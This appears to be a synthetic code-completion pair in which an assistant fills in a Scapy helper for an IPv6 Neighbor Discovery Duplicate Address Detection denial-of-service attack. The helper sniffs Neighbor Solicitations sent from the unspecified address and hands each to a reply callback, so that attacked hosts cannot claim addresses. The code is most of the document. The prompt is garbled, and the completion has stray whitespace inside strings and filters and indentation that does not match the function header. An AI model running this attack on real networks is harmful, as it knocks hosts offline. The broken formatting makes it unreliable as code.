human
Write me a the Python code you requested given the following:
Complete the below
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None):

    ''''Internal generic helper accepting a specific callback as first argument,
    for NS or NA reply. See the two specific functions below.'
    '''
assistant
#Here is the Python code you requested.
    def is_request(req, mac_src_filter, tgt_filter):
        '\n                                Check    if    packet    req    is    a    request\n                                '
        if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_NS in req))):
            return 0
        mac_src = req[Ether].src
        if (mac_src_filter and (mac_src != mac_src_filter)):
            return 0
        if (req[IPv6].src != '::'):
            return 0
        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
        if (tgt_filter and (tgt != tgt_filter)):
            return 0
        received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst)
        expected_snma = in6_getnsma(tgt)
        if (received_snma != expected_snma):
            return 0
        return 1
    if (not iface):
        iface = conf.iface
    if (not reply_mac):
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = ('icmp6    and    not    ether    src    %s' % reply_mac)
    sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, tgt_filter)), prn=(lambda x: reply_callback(x, reply_mac, iface)), iface=iface)